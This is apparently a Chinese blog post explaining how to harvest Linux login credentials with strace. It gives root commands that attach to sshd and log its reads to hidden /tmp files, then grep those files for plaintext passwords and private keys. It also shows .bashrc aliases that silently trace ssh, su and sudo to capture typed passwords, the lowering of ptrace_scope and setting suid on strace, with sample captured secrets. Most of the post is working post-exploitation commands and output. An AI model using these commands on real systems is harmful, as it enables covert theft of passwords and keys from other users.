Linux使用Strace收集登录凭证

奶糖味的代言 14 浏览 2

Linux使用Strace收集登录凭证

strace是什么?

按照strace官网的描述, strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。

strace使用条件

Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。默认情况下,发行版都将其设置为1,根据Linux Kernel Yama Documentation数字0、1、2、3对应以下权限:
0.经典ptrace权限
1.受限制的ptrace
2.仅限管理员附加
3.没有连接
通过运行sysctl kernel.yama.ptrace_scope=3在系统上禁用ptrace,但这操作可能会破坏正在运行的其他程序。

安装strace

yum install strace -y
apt install strace -y

若不能出网,上传对应安装包,手工安装,或者编译安装

查看修改strace配置

# 查看
cat /proc/sys/kernel/yama/ptrace_scope
# 修改
echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0
# 当kernel.yama.ptrace_scope的值设置为3后,必须重启系统后才能更改

strace使用选项

点击查看完整内容

获取sshd进程明文密码

1.root权限执行:

# 使用括号执行程序,当前shell退出,执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

2.使用正则表达式查找
查找用户名和密码的正则表达式为:read\(6, ".+\\0\\0\\0\\.+"
查找用户名和密码:

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

结果形式如下:

[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

获取sshd进程私钥

1.在ROOT权限下执行:

# 使用括号执行程序,当前shell退出,执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

2.直接查找私钥字符串PRIVATE KEY
查找用户名和密码:

#如果私钥设置的了密码,可能会找不到私钥密码
grep 'PRIVATE KEY' /tmp/.sshd.log

结果形式如下:

[pid  1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\nb.................bGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590

收集ssh登录凭证

1.添加命令别名:

vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

2.记录在strace文件内容如下:

936   write(4, "root@192.168.1.8's password: ", 32) = 32
936   read(4, "t", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "r", 1)                   = 1
936   read(4, "\n", 1)                  = 1
936   write(4, "\n", 1)                 = 1

3.也可以通过正则.+@.+\bpassword定位密码位置,这里就不演示

收集su、sudo等需要提升权限运行的程序的登录凭证

1.给strace程序添加suid权限,即以root权限执行

# 查看strace文件位置
which strace
/usr/bin/strace
# 添加suid权限
chmod +s /usr/bin/strace

2.添加命令别名

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
# 使命令别名立即生效
source ~/.bashrc

3.记录的strace文件如下:

write(6, "[sudo] password for kali: ", 26) = 26
read(6, "i", 1)                         = 1
read(6, "l", 1)                         = 1
read(6, "a", 1)                         = 1
read(6, "k", 1)                         = 1
read(6, "\n", 1)                        = 1

4.根据程序运行输出的特征字符串定位密码位置

END

当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时,可以通过strace记录任何程序的系统调用(常用read、write调用)来获取登录凭证

参考链接

https://strace.io/
https://man7.org/linux/man-pages/man1/strace.1.html
https://klionsec.github.io/2016/09/22/strace/
https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/
https://www.kernel.org/doc/Documentation/security/Yama.txt

发表评论 取消回复
表情 图片 链接 代码

  1. dailuyao28
    dailuyao28 Lv 1

    天天向上 www.tiantianxsh.com zzz

  2. 值得入手

    感谢分享,支持一下

分享